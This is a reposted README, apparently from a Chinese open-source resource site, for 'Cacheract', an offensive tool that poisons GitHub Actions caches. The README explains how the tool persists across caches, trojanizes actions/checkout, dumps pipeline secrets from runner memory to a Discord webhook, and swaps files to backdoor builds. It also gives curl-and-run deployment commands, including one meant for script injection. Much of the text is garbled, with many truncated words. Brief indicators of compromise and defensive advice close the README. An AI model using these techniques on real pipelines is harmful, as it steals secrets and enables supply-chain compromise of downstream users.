Cacheract - GitHub Actions Cache Native Malware - for Educatio

项目说明

<h1 align="center">
😈 Cacheract 🧊
</h1>

<h2 align="center">GitHub Actions Cache Native Tool</h2>

> [!WARNING]
> This software is for educational purposes only. The author is not liable for any harm or damage resulting from its unauthorized use.

What is Cacheract?

Cacheract is a no for a tool targeting ephemeral GitHub Actions build pipelines. The core idea behind Cacheract is that a poisoned GitHub Actions cache provides a direct path to arbitrary code execution and file modification within pipelines.

Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify build outputs but instead reports pipeline telemetry and secrets to a webhook. Offensi practitioners can take ad of Cacheract to simulate a compromised dependency in an upstream package. Typically, supply chain attacks target end consumers. This can be workstations or servers. However, Cacheract is designed to target Actions pipelines exclusively - if it lands on a machine that is not a GitHub Actions runner, it will exit silently.

Cacheract's most interesting behavior occurs when it executes in a default branch with a GITHUB_TOKEN that has actions: write permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.

In this scenario, Cacheract has the potential to persist for weeks or e. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not e, then Cacheract will continue to persist.

Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research - the main hurdle is writing a binary that can extract the secrets from the Runner.Worker memory without any preconditions or pausing the process.

Quick Start

1. Clone the Cacheract repository: git clone
2. MANDATORY Update cacheract.config.yaml to configure the replacements, along with the discordWebhook. You can set custom cache keys and here as well.
3. Configure cacheract.config.yaml to enable singleTurn mode or add checkoutExtras as needed.

The default file contains example replacements (the Gato-X README and a hacked.txt file). You will want to remove them as part of any PoC or Red Team scenario.

3. Run npm build to build Cacheract. It will be in dist/bundle.js.
4. Le any pri code execution within a repository by running node bundle.js. Currently, Cacheract DOES NOT support piping the file into node due to the self-insertation mechanism. You must save it to disk otherwise it will not be able to poison future caches with itself.

Below is an example deployment setup:

1. Initial deployment: curl -sSfL | bash

* code.sh contains:

curl -sSfL > /tmp/cacheract.js && node /tmp/cacheract.js

2. The file contains the packed bundle.js produced after running npm run build with the Cacheract repository.

What Does Cacheract Do?

Cacheract works by o the action.yml file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets actions/checkout, as most pipelines that use caching also check out code.

Every time Cacheract runs, it reports information about the pipeline to a webhook. If the pipeline is using an ubuntu-latest runner, it uses memory dump techniques to silently extract all of the pipeline's secrets and sends them to a Discord webhook. Furthermore, the production build of Cacheract is near unnoticable within a pipeline. It executes during the Post Run phase of the actions/checkout reusable action and all stdout and stderr output is nulled.

!image

!image

Initial Infection

Any arbitrary code execution within a default branch workflow can deploy Cacheract. This can occur through a Pwn Request, Injection, or a compromised dependency. Cacheract does not need to know which repository it is running within to deploy itself, as long as the repository uses actions/checkout in workflows that utilize caches.

If Cacheract is running in a workflow with a GITHUB_TOKEN that has actions: write permissions, it will download the original cache entry, add the poisoned payload, delete the original entry, and re-upload the new, poisoned cache entry.

This is particularly effective when simulating compromised NPM or PyPi packages. If your pipeline performs a pip install or npm install, and one of your upstream dependencies contains a trojan, it could deploy Cacheract into your pipeline.

You can use Gato-X to find projects that could be susceptible to Pwn Request or injection attacks that an attacker can use to deploy Cacheract.

Propagation

Cache keys and entries change frequently. To persist, Cacheract must opportunistically poison newer cache entries. Cacheract accomplishes this by checking all unique cache keys and that exist in non-default branches and setting a default branch entry for them. The basis for this approach is that pull requests updating files used to deri keys (e.g., lockfiles) typically set these entries within the merge reference scope. By pre-poisoning these entries, Cacheract can persist e the original cache key changes.

If there are no cache keys present, Cacheract will parse workflow files for cache key patterns, compute the cache key + , and set the new value itself.

#### Configurable Cache Entries

While Cacheract tries to predict cache entries that will land in main branch keys + , it can ne e.

For custom cache entries, Cacheract allows specifying cache entries within the config.ts file. When Cacheract runs
it will set these entries if they are not occupied. This is a helpful feature for setting restore key entries as well.

Simply replace the key and fields with your desired .

To determine what these are, you can create a fork of your target repository and run workflows that create
cache entries. You can then see the using the API:

Endpoint:

File O

Cacheract supports "Replacements". A replacement is a file that cacheract will pack into a modified cache entry in addition to itelf. Replacements will fire upon the _second_ execution of Cacheract. Replacements
are what you can use to demonstrate impact with Cacheract beyond information disclosure. A replacement could swap the package.json file of a target repository with a backdoored , or silently swap out
a source file prior to compilation (like Solarwinds!).

The following is a Cacheract exploitation scenario where Cacheract executes in the main branch but does NOT have actions: write permission.

1 -> Implantation: Cacheract runs in default branch of workflow upstream, Pwn Request, Injection, or malicious Insider.
2 -> Cache Identifiication: Cacheract identifies cache entries from non-default branches that do _not_ exist in main.
3 -> Cacheract will not be able to download the file from the child branch, but it will be able to create a new one in main.

Cacheract will simply add itself to an archive, AND add junk data to make the entry large enough to match the cache entry from
the non-default branch.

4 -> Now, let's suppose the operator configured a replacement for the /home/runner/work///package.json file. Cacheract will also add that file to the archi Actions caches use tar -P to extract the archive, this will o the package.json file upon a cache hit.

5 -> Cacheract will archive the files and upload them to GitHub.

6 -> If there is a subsequent workflow that has a cache hit on that key (let's say a release workflow), then it will end up o the action.yml for checkout along with the package.json file.

7 -> Workflow will perform unexpected acti during build. Example: package.json contains a second stage payload in a prebuild script, this script pulls down additional
malicious files that modify the build output entirely and obfuscates the output in build, finally it cleans the package.json to normal state.

8 -> Package on NPM contains obfuscated backdoor, which no trace of where the original source code came from.

#### Configuration
You can configure Cacheract settings in cacheract.config.yaml.

Building

Cacheract is a Node.js application. Simply build it with npm build. Cacheract is roughly 1.4 MB in size. Cacheract does not include obfuscation, but you can add this if desired via a webpack plugin.

If you want to report telemetry, you should set the DISCORD_WEBHOOK value in the src/config.ts file _prior_ to building Cacheract.

Deployment

Cacheract compiles to a single minified bundle.js that includes all dependencies. Any arbitrary code execution within a GitHub Actions pipeline can invoke Cacheract by running the bundled ja file containing Cacheract and all of its dependencies.

Cacheract handles the rest, including determining if the en is suitable for implantation and automatically deploying itself into caches after .

In an Actions script injection scenario, you could use $(curl -sSfL > /tmp/run; node /tmp/run) to deploy Cacheract. Note that Cacheract is only useful when deployed into main branch pipelines, otherwise it has no more value than running code as part of a Pwn Request.

Future Work

Indicators of Compromise

Cacheract produces cache entries that contain a distinctive set of files within the archive.

You can list them using: tar -P -tf archi.

Sample output:

Notice the action.yml and utility.js files.

Removing Cacheract

To remo from an infected repository, simply flush all cache entries. GitHub offers APIs to list cache entries and delete them.

Guarding Against Cacheract

Cacheract exists to highlight the dangers of insecure GitHub Actions workflow and caching configurations.

To avoid risks from cache poisoning attacks, do the following:

* Ne caches in release builds.
* Ne caches in workflows with highly sensiti.
* Avoid use of Github Actions template expressions within run or github-script steps.
* Do not check out and run untrusted code on the pull_request_target trigger, which runs in the contet of the default branch.
* Do not check out and run untrusted code on the issue_comment trigger, which runs in the contet of the default branch.

<p align="center"><a href=#top>Return to Top</a></p>

项目信息

开发语言：TypeScript

Star 数：173

技术要点

该项目属于病毒分析方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕GitHub Actions Cache Native Malware - for Educational and Research Purposes only.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。